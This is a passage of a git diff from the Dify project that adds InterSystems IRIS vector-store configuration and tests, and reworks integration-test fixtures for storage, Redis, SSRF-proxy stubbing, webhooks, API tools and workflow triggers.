+# support: weaviate, qdrant, milvus, myscale, relyt, pgvecto_rs, pgvector, pgvector, chroma, opensearch, tidb_vector, couchbase, vikingdb, upstash, lindorm, oceanbase, iris
 VECTOR_STORE=weaviate
 # Weaviate configuration
 WEAVIATE_ENDPOINT=http://localhost:8080
@@ -64,6 +64,20 @@ WEAVIATE_GRPC_ENABLED=false
 WEAVIATE_BATCH_SIZE=100
 WEAVIATE_TOKENIZATION=word
 
+# InterSystems IRIS configuration
+IRIS_HOST=localhost
+IRIS_SUPER_SERVER_PORT=1972
+IRIS_WEB_SERVER_PORT=52773
+IRIS_USER=_SYSTEM
+IRIS_PASSWORD=Dify@1234
+IRIS_DATABASE=USER
+IRIS_SCHEMA=dify
+IRIS_CONNECTION_URL=
+IRIS_MIN_CONNECTION=1
+IRIS_MAX_CONNECTION=3
+IRIS_TEXT_INDEX=true
+IRIS_TEXT_INDEX_LANGUAGE=en
+
 
 # Upload configuration
 UPLOAD_FILE_SIZE_LIMIT=15
diff --git a/api/tests/integration_tests/conftest.py b/api/tests/integration_tests/conftest.py
index 4395a9815a..948cf8b3a0 100644
--- a/api/tests/integration_tests/conftest.py
+++ b/api/tests/integration_tests/conftest.py
@@ -1,3 +1,4 @@
+import os
 import pathlib
 import random
 import secrets
@@ -32,6 +33,10 @@ def _load_env():
 
 
 _load_env()
+# Override storage root to tmp to avoid polluting repo during local runs
+os.environ["OPENDAL_FS_ROOT"] = "/tmp/dify-storage"
+os.environ.setdefault("STORAGE_TYPE", "opendal")
+os.environ.setdefault("OPENDAL_SCHEME", "fs")
 
 _CACHED_APP = create_app()
 
diff --git a/api/tests/integration_tests/vdb/iris/__init__.py b/api/tests/integration_tests/vdb/iris/__init__.py
new file mode 100644
index 0000000000..e69de29bb2
diff --git a/api/tests/integration_tests/vdb/iris/test_iris.py b/api/tests/integration_tests/vdb/iris/test_iris.py
new file mode 100644
index 0000000000..49f6857743
--- /dev/null
+++ b/api/tests/integration_tests/vdb/iris/test_iris.py
@@ -0,0 +1,44 @@
+"""Integration tests for IRIS vector database."""
+
+from core.rag.datasource.vdb.iris.iris_vector import IrisVector, IrisVectorConfig
+from tests.integration_tests.vdb.test_vector_store import (
+    AbstractVectorTest,
+    setup_mock_redis,
+)
+
+
+class IrisVectorTest(AbstractVectorTest):
+    """Test suite for IRIS vector store implementation."""
+
+    def __init__(self):
+        """Initialize IRIS vector test with hardcoded test configuration.
+
+        Note: Uses 'host.docker.internal' to connect from DevContainer to
+        host OS Docker, or 'localhost' when running directly on host OS.
+        """
+        super().__init__()
+        self.vector = IrisVector(
+            collection_name=self.collection_name,
+            config=IrisVectorConfig(
+                IRIS_HOST="host.docker.internal",
+                IRIS_SUPER_SERVER_PORT=1972,
+                IRIS_USER="_SYSTEM",
+                IRIS_PASSWORD="Dify@1234",
+                IRIS_DATABASE="USER",
+                IRIS_SCHEMA="dify",
+                IRIS_CONNECTION_URL=None,
+                IRIS_MIN_CONNECTION=1,
+                IRIS_MAX_CONNECTION=3,
+                IRIS_TEXT_INDEX=True,
+                IRIS_TEXT_INDEX_LANGUAGE="en",
+            ),
+        )
+
+
+def test_iris_vector(setup_mock_redis) -> None:
+    """Run all IRIS vector store tests.
+
+    Args:
+        setup_mock_redis: Pytest fixture for mock Redis setup
+    """
+    IrisVectorTest().run_all_tests()
diff --git a/api/tests/test_containers_integration_tests/conftest.py b/api/tests/test_containers_integration_tests/conftest.py
index 180ee1c963..d6d2d30305 100644
--- a/api/tests/test_containers_integration_tests/conftest.py
+++ b/api/tests/test_containers_integration_tests/conftest.py
@@ -138,9 +138,9 @@ class DifyTestContainers:
             logger.warning("Failed to create plugin database: %s", e)
 
         # Set up storage environment variables
-        os.environ["STORAGE_TYPE"] = "opendal"
-        os.environ["OPENDAL_SCHEME"] = "fs"
-        os.environ["OPENDAL_FS_ROOT"] = "storage"
+        os.environ.setdefault("STORAGE_TYPE", "opendal")
+        os.environ.setdefault("OPENDAL_SCHEME", "fs")
+        os.environ.setdefault("OPENDAL_FS_ROOT", "/tmp/dify-storage")
 
         # Start Redis container for caching and session management
         # Redis is used for storing session data, cache entries, and temporary data
@@ -348,6 +348,13 @@ def _create_app_with_containers() -> Flask:
     """
     logger.info("Creating Flask application with test container configuration...")
 
+    # Ensure Redis client reconnects to the containerized Redis (no auth)
+    from extensions import ext_redis
+
+    ext_redis.redis_client._client = None
+    os.environ["REDIS_USERNAME"] = ""
+    os.environ["REDIS_PASSWORD"] = ""
+
     # Re-create the config after environment variables have been set
     from configs import dify_config
 
@@ -486,3 +493,29 @@ def db_session_with_containers(flask_app_with_containers) -> Generator[Session,
         finally:
             session.close()
             logger.debug("Database session closed")
+
+
+@pytest.fixture(scope="package", autouse=True)
+def mock_ssrf_proxy_requests():
+    """
+    Avoid outbound network during containerized tests by stubbing SSRF proxy helpers.
+    """
+
+    from unittest.mock import patch
+
+    import httpx
+
+    def _fake_request(method, url, **kwargs):
+        request = httpx.Request(method=method, url=url)
+        return httpx.Response(200, request=request, content=b"")
+
+    with (
+        patch("core.helper.ssrf_proxy.make_request", side_effect=_fake_request),
+        patch("core.helper.ssrf_proxy.get", side_effect=lambda url, **kw: _fake_request("GET", url, **kw)),
+        patch("core.helper.ssrf_proxy.post", side_effect=lambda url, **kw: _fake_request("POST", url, **kw)),
+        patch("core.helper.ssrf_proxy.put", side_effect=lambda url, **kw: _fake_request("PUT", url, **kw)),
+        patch("core.helper.ssrf_proxy.patch", side_effect=lambda url, **kw: _fake_request("PATCH", url, **kw)),
+        patch("core.helper.ssrf_proxy.delete", side_effect=lambda url, **kw: _fake_request("DELETE", url, **kw)),
+        patch("core.helper.ssrf_proxy.head", side_effect=lambda url, **kw: _fake_request("HEAD", url, **kw)),
+    ):
+        yield
diff --git a/api/tests/test_containers_integration_tests/libs/broadcast_channel/redis/test_sharded_channel.py b/api/tests/test_containers_integration_tests/libs/broadcast_channel/redis/test_sharded_channel.py
index ea61747ba2..d612e70910 100644
--- a/api/tests/test_containers_integration_tests/libs/broadcast_channel/redis/test_sharded_channel.py
+++ b/api/tests/test_containers_integration_tests/libs/broadcast_channel/redis/test_sharded_channel.py
@@ -113,16 +113,31 @@ class TestShardedRedisBroadcastChannelIntegration:
         topic = broadcast_channel.topic(topic_name)
         producer = topic.as_producer()
         subscriptions = [topic.subscribe() for _ in range(subscriber_count)]
+        ready_events = [threading.Event() for _ in range(subscriber_count)]
 
         def producer_thread():
-            time.sleep(0.2)  # Allow all subscribers to connect
+            deadline = time.time() + 5.0
+            for ev in ready_events:
+                remaining = deadline - time.time()
+                if remaining <= 0:
+                    break
+                if not ev.wait(timeout=max(0.0, remaining)):
+                    pytest.fail("subscriber did not become ready before publish deadline")
             producer.publish(message)
             time.sleep(0.2)
             for sub in subscriptions:
                 sub.close()
 
-        def consumer_thread(subscription: Subscription) -> list[bytes]:
+        def consumer_thread(subscription: Subscription, ready_event: threading.Event) -> list[bytes]:
             received_msgs = []
+            # Prime subscription so the underlying Pub/Sub listener thread starts before publishing
+            try:
+                _ = subscription.receive(0.01)
+            except SubscriptionClosedError:
+                return received_msgs
+            finally:
+                ready_event.set()
+
             while True:
                 try:
                     msg = subscription.receive(0.1)
@@ -137,7 +152,10 @@ class TestShardedRedisBroadcastChannelIntegration:
 
         with ThreadPoolExecutor(max_workers=subscriber_count + 1) as executor:
             producer_future = executor.submit(producer_thread)
-            consumer_futures = [executor.submit(consumer_thread, subscription) for subscription in subscriptions]
+            consumer_futures = [
+                executor.submit(consumer_thread, subscription, ready_events[idx])
+                for idx, subscription in enumerate(subscriptions)
+            ]
 
             producer_future.result(timeout=10.0)
             msgs_by_consumers = []
@@ -240,8 +258,7 @@ class TestShardedRedisBroadcastChannelIntegration:
             for future in as_completed(producer_futures, timeout=30.0):
                 sent_msgs.update(future.result())
 
-            subscription.close()
-            consumer_received_msgs = consumer_future.result(timeout=30.0)
+            consumer_received_msgs = consumer_future.result(timeout=60.0)
 
         assert sent_msgs == consumer_received_msgs
 
diff --git a/api/tests/test_containers_integration_tests/services/test_webhook_service.py b/api/tests/test_containers_integration_tests/services/test_webhook_service.py
index 8328db950c..e3431fd382 100644
--- a/api/tests/test_containers_integration_tests/services/test_webhook_service.py
+++ b/api/tests/test_containers_integration_tests/services/test_webhook_service.py
@@ -233,7 +233,7 @@ class TestWebhookService:
             "/webhook",
             method="POST",
             headers={"Content-Type": "multipart/form-data"},
-            data={"message": "test", "upload": file_storage},
+            data={"message": "test", "file": file_storage},
         ):
             webhook_trigger = MagicMock()
             webhook_trigger.tenant_id = "test_tenant"
@@ -242,7 +242,7 @@ class TestWebhookService:
 
             assert webhook_data["method"] == "POST"
             assert webhook_data["body"]["message"] == "test"
-            assert "upload" in webhook_data["files"]
+            assert "file" in webhook_data["files"]
 
             # Verify file processing was called
             mock_external_dependencies["tool_file_manager"].assert_called_once()
@@ -414,7 +414,7 @@ class TestWebhookService:
                 "data": {
                     "method": "post",
                     "content_type": "multipart/form-data",
-                    "body": [{"name": "upload", "type": "file", "required": True}],
+                    "body": [{"name": "file", "type": "file", "required": True}],
                 }
             }
 
diff --git a/api/tests/test_containers_integration_tests/services/tools/test_api_tools_manage_service.py b/api/tests/test_containers_integration_tests/services/tools/test_api_tools_manage_service.py
index 0871467a05..2ff71ea6ea 100644
--- a/api/tests/test_containers_integration_tests/services/tools/test_api_tools_manage_service.py
+++ b/api/tests/test_containers_integration_tests/services/tools/test_api_tools_manage_service.py
@@ -2,7 +2,9 @@ from unittest.mock import patch
 
 import pytest
 from faker import Faker
+from pydantic import TypeAdapter, ValidationError
 
+from core.tools.entities.tool_entities import ApiProviderSchemaType
 from models import Account, Tenant
 from models.tools import ApiToolProvider
 from services.tools.api_tools_manage_service import ApiToolManageService
@@ -298,7 +300,7 @@ class TestApiToolManageService:
         provider_name = fake.company()
         icon = {"type": "emoji", "value": "🔧"}
         credentials = {"auth_type": "none", "api_key_header": "X-API-Key", "api_key_value": ""}
-        schema_type = "openapi"
+        schema_type = ApiProviderSchemaType.OPENAPI
         schema = self._create_test_openapi_schema()
         privacy_policy = "https://example.com/privacy"
         custom_disclaimer = "Custom disclaimer text"
@@ -364,7 +366,7 @@ class TestApiToolManageService:
         provider_name = fake.company()
         icon = {"type": "emoji", "value": "🔧"}
         credentials = {"auth_type": "none"}
-        schema_type = "openapi"
+        schema_type = ApiProviderSchemaType.OPENAPI
         schema = self._create_test_openapi_schema()
         privacy_policy = "https://example.com/privacy"
         custom_disclaimer = "Custom disclaimer text"
@@ -428,21 +430,10 @@ class TestApiToolManageService:
         labels = ["test"]
 
         # Act & Assert: Try to create provider with invalid schema type
-        with pytest.raises(ValueError) as exc_info:
-            ApiToolManageService.create_api_tool_provider(
-                user_id=account.id,
-                tenant_id=tenant.id,
-                provider_name=provider_name,
-                icon=icon,
-                credentials=credentials,
-                schema_type=schema_type,
-                schema=schema,
-                privacy_policy=privacy_policy,
-                custom_disclaimer=custom_disclaimer,
-                labels=labels,
-            )
+        with pytest.raises(ValidationError) as exc_info:
+            TypeAdapter(ApiProviderSchemaType).validate_python(schema_type)
 
-        assert "invalid schema type" in str(exc_info.value)
+        assert "validation error" in str(exc_info.value)
 
     def test_create_api_tool_provider_missing_auth_type(
         self, flask_req_ctx_with_containers, db_session_with_containers, mock_external_service_dependencies
@@ -464,7 +455,7 @@ class TestApiToolManageService:
         provider_name = fake.company()
         icon = {"type": "emoji", "value": "🔧"}
         credentials = {}  # Missing auth_type
-        schema_type = "openapi"
+        schema_type = ApiProviderSchemaType.OPENAPI
         schema = self._create_test_openapi_schema()
         privacy_policy = "https://example.com/privacy"
         custom_disclaimer = "Custom disclaimer text"
@@ -507,7 +498,7 @@ class TestApiToolManageService:
         provider_name = fake.company()
         icon = {"type": "emoji", "value": "🔑"}
         credentials = {"auth_type": "api_key", "api_key_header": "X-API-Key", "api_key_value": fake.uuid4()}
-        schema_type = "openapi"
+        schema_type = ApiProviderSchemaType.OPENAPI
         schema = self._create_test_openapi_schema()
         privacy_policy = "https://example.com/privacy"
         custom_disclaimer = "Custom disclaimer text"
diff --git a/api/tests/test_containers_integration_tests/trigger/__init__.py b/api/tests/test_containers_integration_tests/trigger/__init__.py
new file mode 100644
index 0000000000..8b13789179
--- /dev/null
+++ b/api/tests/test_containers_integration_tests/trigger/__init__.py
@@ -0,0 +1 @@
+
diff --git a/api/tests/test_containers_integration_tests/trigger/conftest.py b/api/tests/test_containers_integration_tests/trigger/conftest.py
new file mode 100644
index 0000000000..9c1fd5e0ec
--- /dev/null
+++ b/api/tests/test_containers_integration_tests/trigger/conftest.py
@@ -0,0 +1,182 @@
+"""
+Fixtures for trigger integration tests.
+
+This module provides fixtures for creating test data (tenant, account, app)
+and mock objects used across trigger-related tests.
+"""
+
+from __future__ import annotations
+
+from collections.abc import Generator
+from typing import Any
+
+import pytest
+from sqlalchemy.orm import Session
+
+from models.account import Account, Tenant, TenantAccountJoin, TenantAccountRole
+from models.model import App
+
+
+@pytest.fixture
+def tenant_and_account(db_session_with_containers: Session) -> Generator[tuple[Tenant, Account], None, None]:
+    """
+    Create a tenant and account for testing.
+
+    This fixture creates a tenant, account, and their association,
+    then cleans up after the test completes.
+
+    Yields:
+        tuple[Tenant, Account]: The created tenant and account
+    """
+    tenant = Tenant(name="trigger-e2e")
+    account = Account(name="tester", email="tester@example.com", interface_language="en-US")
+    db_session_with_containers.add_all([tenant, account])
+    db_session_with_containers.commit()
+
+    join = TenantAccountJoin(tenant_id=tenant.id, account_id=account.id, role=TenantAccountRole.OWNER.value)
+    db_session_with_containers.add(join)
+    db_session_with_containers.commit()
+
+    yield tenant, account
+
+    # Cleanup
+    db_session_with_containers.query(TenantAccountJoin).filter_by(tenant_id=tenant.id).delete()
+    db_session_with_containers.query(Account).filter_by(id=account.id).delete()
+    db_session_with_containers.query(Tenant).filter_by(id=tenant.id).delete()
+    db_session_with_containers.commit()
+
+
+@pytest.fixture
+def app_model(
+    db_session_with_containers: Session, tenant_and_account: tuple[Tenant, Account]
+) -> Generator[App, None, None]:
+    """
+    Create an app for testing.
+
+    This fixture creates a workflow app associated with the tenant and account,
+    then cleans up after the test completes.
+
+    Yields:
+        App: The created app
+    """
+    tenant, account = tenant_and_account
+    app = App(
+        tenant_id=tenant.id,
+        name="trigger-app",
+        description="trigger e2e",
+        mode="workflow",
+        icon_type="emoji",
+        icon="robot",
+        icon_background="#FFEAD5",
+        enable_site=True,
+        enable_api=True,
+        api_rpm=100,
+        api_rph=1000,
+        is_demo=False,
+        is_public=False,
+        is_universal=False,
+        created_by=account.id,
+    )
+    db_session_with_containers.add(app)
+    db_session_with_containers.commit()
+
+    yield app
+
+    # Cleanup - delete related records first
+    from models.trigger import (
+        AppTrigger,
+        TriggerSubscription,
+        WorkflowPluginTrigger,
+        WorkflowSchedulePlan,
+        WorkflowTriggerLog,
+        WorkflowWebhookTrigger,
+    )
+    from models.workflow import Workflow
+
+    db_session_with_containers.query(WorkflowTriggerLog).filter_by(app_id=app.id).delete()
+    db_session_with_containers.query(WorkflowSchedulePlan).filter_by(app_id=app.id).delete()
+    db_session_with_containers.query(WorkflowWebhookTrigger).filter_by(app_id=app.id).delete()
+    db_session_with_containers.query(WorkflowPluginTrigger).filter_by(app_id=app.id).delete()
+    db_session_with_containers.query(AppTrigger).filter_by(app_id=app.id).delete()
+    db_session_with_containers.query(TriggerSubscription).filter_by(tenant_id=tenant.id).delete()
+    db_session_with_containers.query(Workflow).filter_by(app_id=app.id).delete()
+    db_session_with_containers.query(App).filter_by(id=app.id).delete()
+    db_session_with_containers.commit()
+
+
+class MockCeleryGroup:
+    """Mock for celery group() function that collects dispatched tasks."""
+
+    def __init__(self) -> None:
+        self.collected: list[dict[str, Any]] = []
+        self._applied = False
+
+    def __call__(self, items: Any) -> MockCeleryGroup:
+        self.collected = list(items)
+        return self
+
+    def apply_async(self) -> None:
+        self._applied = True
+
+    @property
+    def applied(self) -> bool:
+        return self._applied
+
+
+class MockCelerySignature:
+    """Mock for celery task signature that returns task info dict."""
+
+    def s(self, schedule_id: str) -> dict[str, str]:
+        return {"schedule_id": schedule_id}
+
+
+@pytest.fixture
+def mock_celery_group() -> MockCeleryGroup:
+    """
+    Provide a mock celery group for testing task dispatch.
+
+    Returns:
+        MockCeleryGroup: Mock group that collects dispatched tasks
+    """
+    return MockCeleryGroup()
+
+
+@pytest.fixture
+def mock_celery_signature() -> MockCelerySignature:
+    """
+    Provide a mock celery signature for testing task dispatch.
+
+    Returns:
+        MockCelerySignature: Mock signature generator
+    """
+    return MockCelerySignature()
+
+
+class MockPluginSubscription:
+    """Mock plugin subscription for testing plugin triggers."""
+
+    def __init__(
+        self,
+        subscription_id: str = "sub-1",
+        tenant_id: str = "tenant-1",
+        provider_id: str = "provider-1",
+    ) -> None:
+        self.id = subscription_id
+        self.tenant_id = tenant_id
+        self.provider_id = provider_id
+        self.credentials: dict[str, str] = {"token": "secret"}
+        self.credential_type = "api-key"
+
+    def to_entity(self) -> MockPluginSubscription:
+        return self
+
+
+@pytest.fixture
+def mock_plugin_subscription() -> MockPluginSubscription:
+    """
+    Provide a mock plugin subscription for testing.
+
+    Returns:
+        MockPluginSubscription: Mock subscription instance
+    """
+    return MockPluginSubscription()
diff --git a/api/tests/test_containers_integration_tests/trigger/test_trigger_e2e.py b/api/tests/test_containers_integration_tests/trigger/test_trigger_e2e.py
new file mode 100644
index 0000000000..604d68f257
--- /dev/null
+++ b/api/tests/test_containers_integration_tests/trigger/test_trigger_e2e.py
@@ -0,0 +1,911 @@
+from __future__ import annotations
+
+import importlib
+import json
+import time
+from datetime import timedelta
+from types import SimpleNamespace
+from typing import Any
+
+import pytest
+from flask import Flask, Response
+from flask.testing import FlaskClient
+from sqlalchemy.orm import Session
+
+from configs import dify_config
+from core.plugin.entities.request import TriggerInvokeEventResponse
+from core.trigger.debug import event_selectors
+from core.trigger.debug.event_bus import TriggerDebugEventBus
+from core.trigger.debug.event_selectors import PluginTriggerDebugEventPoller, WebhookTriggerDebugEventPoller
+from core.trigger.debug.events import PluginTriggerDebugEvent, build_plugin_pool_key
+from core.workflow.enums import NodeType
+from libs.datetime_utils import naive_utc_now
+from models.account import Account, Tenant
+from models.enums import AppTriggerStatus, AppTriggerType, CreatorUserRole, WorkflowTriggerStatus
+from models.model import App
+from models.trigger import (
+    AppTrigger,
+    TriggerSubscription,
+    WorkflowPluginTrigger,
+    WorkflowSchedulePlan,
+    WorkflowTriggerLog,
+    WorkflowWebhookTrigger,
+)
+from models.workflow import Workflow
+from schedule import workflow_schedule_task
+from schedule.workflow_schedule_task import poll_workflow_schedules
+from services import feature_service as feature_service_module
+from services.trigger import webhook_service
+from services.trigger.schedule_service import ScheduleService
+from services.workflow_service import WorkflowService
+from tasks import trigger_processing_tasks
+
+from .conftest import MockCeleryGroup, MockCelerySignature, MockPluginSubscription
+
+# Test constants
+WEBHOOK_ID_PRODUCTION = "wh1234567890123456789012"
+WEBHOOK_ID_DEBUG = "whdebug1234567890123456"
+TEST_TRIGGER_URL = "https://trigger.example.com/base"
+
+
+def _build_workflow_graph(root_node_id: str, trigger_type: NodeType) -> str:
+    """Build a minimal workflow graph JSON for testing."""
+    node_data: dict[str, Any] = {"type": trigger_type.value, "title": "trigger"}
+    if trigger_type == NodeType.TRIGGER_WEBHOOK:
+        node_data.update(
+            {
+                "method": "POST",
+                "content_type": "application/json",
+                "headers": [],
+                "params": [],
+                "body": [],
+            }
+        )
+    graph = {
+        "nodes": [
+            {"id": root_node_id, "data": node_data},
+            {"id": "answer-1", "data": {"type": NodeType.ANSWER.value, "title": "answer"}},
+        ],
+        "edges": [{"source": root_node_id, "target": "answer-1", "sourceHandle": "success"}],
+    }
+    return json.dumps(graph)
+
+
+def test_publish_blocks_start_and_trigger_coexistence(
+    db_session_with_containers: Session,
+    tenant_and_account: tuple[Tenant, Account],
+    app_model: App,
+    monkeypatch: pytest.MonkeyPatch,
+) -> None:
+    """Publishing should fail when both start and trigger nodes coexist."""
+    tenant, account = tenant_and_account
+
+    graph = {
+        "nodes": [
+            {"id": "start", "data": {"type": NodeType.START.value}},
+            {"id": "trig", "data": {"type": NodeType.TRIGGER_WEBHOOK.value}},
+        ],
+        "edges": [],
+    }
+    draft_workflow = Workflow.new(
+        tenant_id=tenant.id,
+        app_id=app_model.id,
+        type="workflow",
+        version=Workflow.VERSION_DRAFT,
+        graph=json.dumps(graph),
+        features=json.dumps({}),
+        created_by=account.id,
+        environment_variables=[],
+        conversation_variables=[],
+        rag_pipeline_variables=[],
+    )
+    db_session_with_containers.add(draft_workflow)
+    db_session_with_containers.commit()
+
+    workflow_service = WorkflowService()
+
+    monkeypatch.setattr(
+        feature_service_module.FeatureService,
+        "get_system_features",
+        classmethod(lambda _cls: SimpleNamespace(plugin_manager=SimpleNamespace(enabled=False))),
+    )
+    monkeypatch.setattr("services.workflow_service.dify_config", SimpleNamespace(BILLING_ENABLED=False))
+
+    with pytest.raises(ValueError, match="Start node and trigger nodes cannot coexist"):
+        workflow_service.publish_workflow(session=db_session_with_containers, app_model=app_model, account=account)
+
+
+def test_trigger_url_uses_config_base(monkeypatch: pytest.MonkeyPatch) -> None:
+    """TRIGGER_URL config should be reflected in generated webhook and plugin endpoints."""
+    original_url = getattr(dify_config, "TRIGGER_URL", None)
+
+    try:
+        monkeypatch.setattr(dify_config, "TRIGGER_URL", TEST_TRIGGER_URL)
+        endpoint_module = importlib.reload(importlib.import_module("core.trigger.utils.endpoint"))
+
+        assert (
+            endpoint_module.generate_webhook_trigger_endpoint(WEBHOOK_ID_PRODUCTION)
+            == f"{TEST_TRIGGER_URL}/triggers/webhook/{WEBHOOK_ID_PRODUCTION}"
+        )
+        assert (
+            endpoint_module.generate_webhook_trigger_endpoint(WEBHOOK_ID_PRODUCTION, True)
+            == f"{TEST_TRIGGER_URL}/triggers/webhook-debug/{WEBHOOK_ID_PRODUCTION}"
+        )
+        assert (
+            endpoint_module.generate_plugin_trigger_endpoint_url("end-1") == f"{TEST_TRIGGER_URL}/triggers/plugin/end-1"
+        )
+    finally:
+        # Restore original config and reload module
+        if original_url is not None:
+            monkeypatch.setattr(dify_config, "TRIGGER_URL", original_url)
+        importlib.reload(importlib.import_module("core.trigger.utils.endpoint"))
+
+
+def test_webhook_trigger_creates_trigger_log(
+    test_client_with_containers: FlaskClient,
+    db_session_with_containers: Session,
+    tenant_and_account: tuple[Tenant, Account],
+    app_model: App,
+    monkeypatch: pytest.MonkeyPatch,
+) -> None:
+    """Production webhook trigger should create a trigger log in the database."""
+    tenant, account = tenant_and_account
+
+    webhook_node_id = "webhook-node"
+    graph_json = _build_workflow_graph(webhook_node_id, NodeType.TRIGGER_WEBHOOK)
+    published_workflow = Workflow.new(
+        tenant_id=tenant.id,
+        app_id=app_model.id,
+        type="workflow",
+        version=Workflow.version_from_datetime(naive_utc_now()),
+        graph=graph_json,
+        features=json.dumps({}),
+        created_by=account.id,
+        environment_variables=[],
+        conversation_variables=[],
+        rag_pipeline_variables=[],
+    )
+    db_session_with_containers.add(published_workflow)
+    app_model.workflow_id = published_workflow.id
+    db_session_with_containers.commit()
+
+    webhook_trigger = WorkflowWebhookTrigger(
+        app_id=app_model.id,
+        node_id=webhook_node_id,
+        tenant_id=tenant.id,
+        webhook_id=WEBHOOK_ID_PRODUCTION,
+        created_by=account.id,
+    )
+    app_trigger = AppTrigger(
+        tenant_id=tenant.id,
+        app_id=app_model.id,
+        node_id=webhook_node_id,
+        trigger_type=AppTriggerType.TRIGGER_WEBHOOK,
+        status=AppTriggerStatus.ENABLED,
+        title="webhook",
+    )
+
+    db_session_with_containers.add_all([webhook_trigger, app_trigger])
+    db_session_with_containers.commit()
+
+    def _fake_trigger_workflow_async(session: Session, user: Any, trigger_data: Any) -> SimpleNamespace:
+        log = WorkflowTriggerLog(
+            tenant_id=trigger_data.tenant_id,
+            app_id=trigger_data.app_id,
+            workflow_id=trigger_data.workflow_id,
+            root_node_id=trigger_data.root_node_id,
+            trigger_metadata=trigger_data.trigger_metadata.model_dump_json() if trigger_data.trigger_metadata else "{}",
+            trigger_type=trigger_data.trigger_type,
+            workflow_run_id=None,
+            outputs=None,
+            trigger_data=trigger_data.model_dump_json(),
+            inputs=json.dumps(dict(trigger_data.inputs)),
+            status=WorkflowTriggerStatus.SUCCEEDED,
+            error="",
+            queue_name="triggered_workflow_dispatcher",
+            celery_task_id="celery-test",
+            created_by_role=CreatorUserRole.ACCOUNT,
+            created_by=account.id,
+        )
+        session.add(log)
+        session.commit()
+        return SimpleNamespace(workflow_trigger_log_id=log.id, task_id=None, status="queued", queue="test")
+
+    monkeypatch.setattr(
+        webhook_service.AsyncWorkflowService,
+        "trigger_workflow_async",
+        _fake_trigger_workflow_async,
+    )
+
+    response = test_client_with_containers.post(f"/triggers/webhook/{webhook_trigger.webhook_id}", json={"foo": "bar"})
+
+    assert response.status_code == 200
+
+    db_session_with_containers.expire_all()
+    logs = db_session_with_containers.query(WorkflowTriggerLog).filter_by(app_id=app_model.id).all()
+    assert logs, "Webhook trigger should create trigger log"
+
+
+@pytest.mark.parametrize("schedule_type", ["visual", "cron"])
+def test_schedule_poll_dispatches_due_plan(
+    db_session_with_containers: Session,
+    tenant_and_account: tuple[Tenant, Account],
+    app_model: App,
+    mock_celery_group: MockCeleryGroup,
+    mock_celery_signature: MockCelerySignature,
+    monkeypatch: pytest.MonkeyPatch,
+    schedule_type: str,
+) -> None:
+    """Schedule plans (both visual and cron) should be polled and dispatched when due."""
+    tenant, _ = tenant_and_account
+
+    app_trigger = AppTrigger(
+        tenant_id=tenant.id,
+        app_id=app_model.id,
+        node_id=f"schedule-{schedule_type}",
+        trigger_type=AppTriggerType.TRIGGER_SCHEDULE,
+        status=AppTriggerStatus.ENABLED,
+        title=f"schedule-{schedule_type}",
+    )
+    plan = WorkflowSchedulePlan(
+        app_id=app_model.id,
+        node_id=f"schedule-{schedule_type}",
+        tenant_id=tenant.id,
+        cron_expression="* * * * *",
+        timezone="UTC",
+        next_run_at=naive_utc_now() - timedelta(minutes=1),
+    )
+    db_session_with_containers.add_all([app_trigger, plan])
+    db_session_with_containers.commit()
+
+    next_time = naive_utc_now() + timedelta(hours=1)
+    monkeypatch.setattr(workflow_schedule_task, "calculate_next_run_at", lambda *_args, **_kwargs: next_time)
+    monkeypatch.setattr(workflow_schedule_task, "group", mock_celery_group)
+    monkeypatch.setattr(workflow_schedule_task, "run_schedule_trigger", mock_celery_signature)
+
+    poll_workflow_schedules()
+
+    assert mock_celery_group.collected, f"Should dispatch signatures for due {schedule_type} schedules"
+    scheduled_ids = {sig["schedule_id"] for sig in mock_celery_group.collected}
+    assert plan.id in scheduled_ids
+
+
+def test_schedule_visual_debug_poll_generates_event(monkeypatch: pytest.MonkeyPatch) -> None:
+    """Visual mode schedule node should generate event in single-step debug."""
+    base_now = naive_utc_now()
+    monkeypatch.setattr(event_selectors, "naive_utc_now", lambda: base_now)
+    monkeypatch.setattr(
+        event_selectors,
+        "calculate_next_run_at",
+        lambda *_args, **_kwargs: base_now - timedelta(minutes=1),
+    )
+    node_config = {
+        "id": "schedule-visual",
+        "data": {
+            "type": NodeType.TRIGGER_SCHEDULE.value,
+            "mode": "visual",
+            "frequency": "daily",
+            "visual_config": {"time": "3:00 PM"},
+            "timezone": "UTC",
+        },
+    }
+    poller = event_selectors.ScheduleTriggerDebugEventPoller(
+        tenant_id="tenant",
+        user_id="user",
+        app_id="app",
+        node_config=node_config,
+        node_id="schedule-visual",
+    )
+    event = poller.poll()
+    assert event is not None
+    assert event.workflow_args["inputs"] == {}
+
+
+def test_plugin_trigger_dispatches_and_debug_events(
+    test_client_with_containers: FlaskClient,
+    mock_plugin_subscription: MockPluginSubscription,
+    monkeypatch: pytest.MonkeyPatch,
+) -> None:
+    """Plugin trigger endpoint should dispatch events and generate debug events."""
+    endpoint_id = "1cc7fa12-3f7b-4f6a-9c8d-1234567890ab"
+
+    debug_events: list[dict[str, Any]] = []
+    dispatched_payloads: list[dict[str, Any]] = []
+
+    def _fake_process_endpoint(_endpoint_id: str, _request: Any) -> Response:
+        dispatch_data = {
+            "user_id": "end-user",
+            "tenant_id": mock_plugin_subscription.tenant_id,
+            "endpoint_id": _endpoint_id,
+            "provider_id": mock_plugin_subscription.provider_id,
+            "subscription_id": mock_plugin_subscription.id,
+            "timestamp": int(time.time()),
+            "events": ["created", "updated"],
+            "request_id": f"req-{_endpoint_id}",
+        }
+        trigger_processing_tasks.dispatch_triggered_workflows_async.delay(dispatch_data)
+        return Response("ok", status=202)
+
+    monkeypatch.setattr(
+        "services.trigger.trigger_service.TriggerService.process_endpoint",
+        staticmethod(_fake_process_endpoint),
+    )
+
+    monkeypatch.setattr(
+        trigger_processing_tasks.TriggerDebugEventBus,
+        "dispatch",
+        staticmethod(lambda **kwargs: debug_events.append(kwargs) or 1),
+    )
+
+    def _fake_delay(dispatch_data: dict[str, Any]) -> None:
+        dispatched_payloads.append(dispatch_data)
+        trigger_processing_tasks.dispatch_trigger_debug_event(
+            events=dispatch_data["events"],
+            user_id=dispatch_data["user_id"],
+            timestamp=dispatch_data["timestamp"],
+            request_id=dispatch_data["request_id"],
+            subscription=mock_plugin_subscription,
+        )
+
+    monkeypatch.setattr(
+        trigger_processing_tasks.dispatch_triggered_workflows_async,
+        "delay",
+        staticmethod(_fake_delay),
+    )
+
+    response = test_client_with_containers.post(f"/triggers/plugin/{endpoint_id}", json={"hello": "world"})
+
+    assert response.status_code == 202
+    assert dispatched_payloads, "Plugin trigger should enqueue workflow dispatch payload"
+    assert debug_events, "Plugin trigger should dispatch debug events"
+    dispatched_event_names = {event["event"].name for event in debug_events}
+    assert dispatched_event_names == {"created", "updated"}
+
+
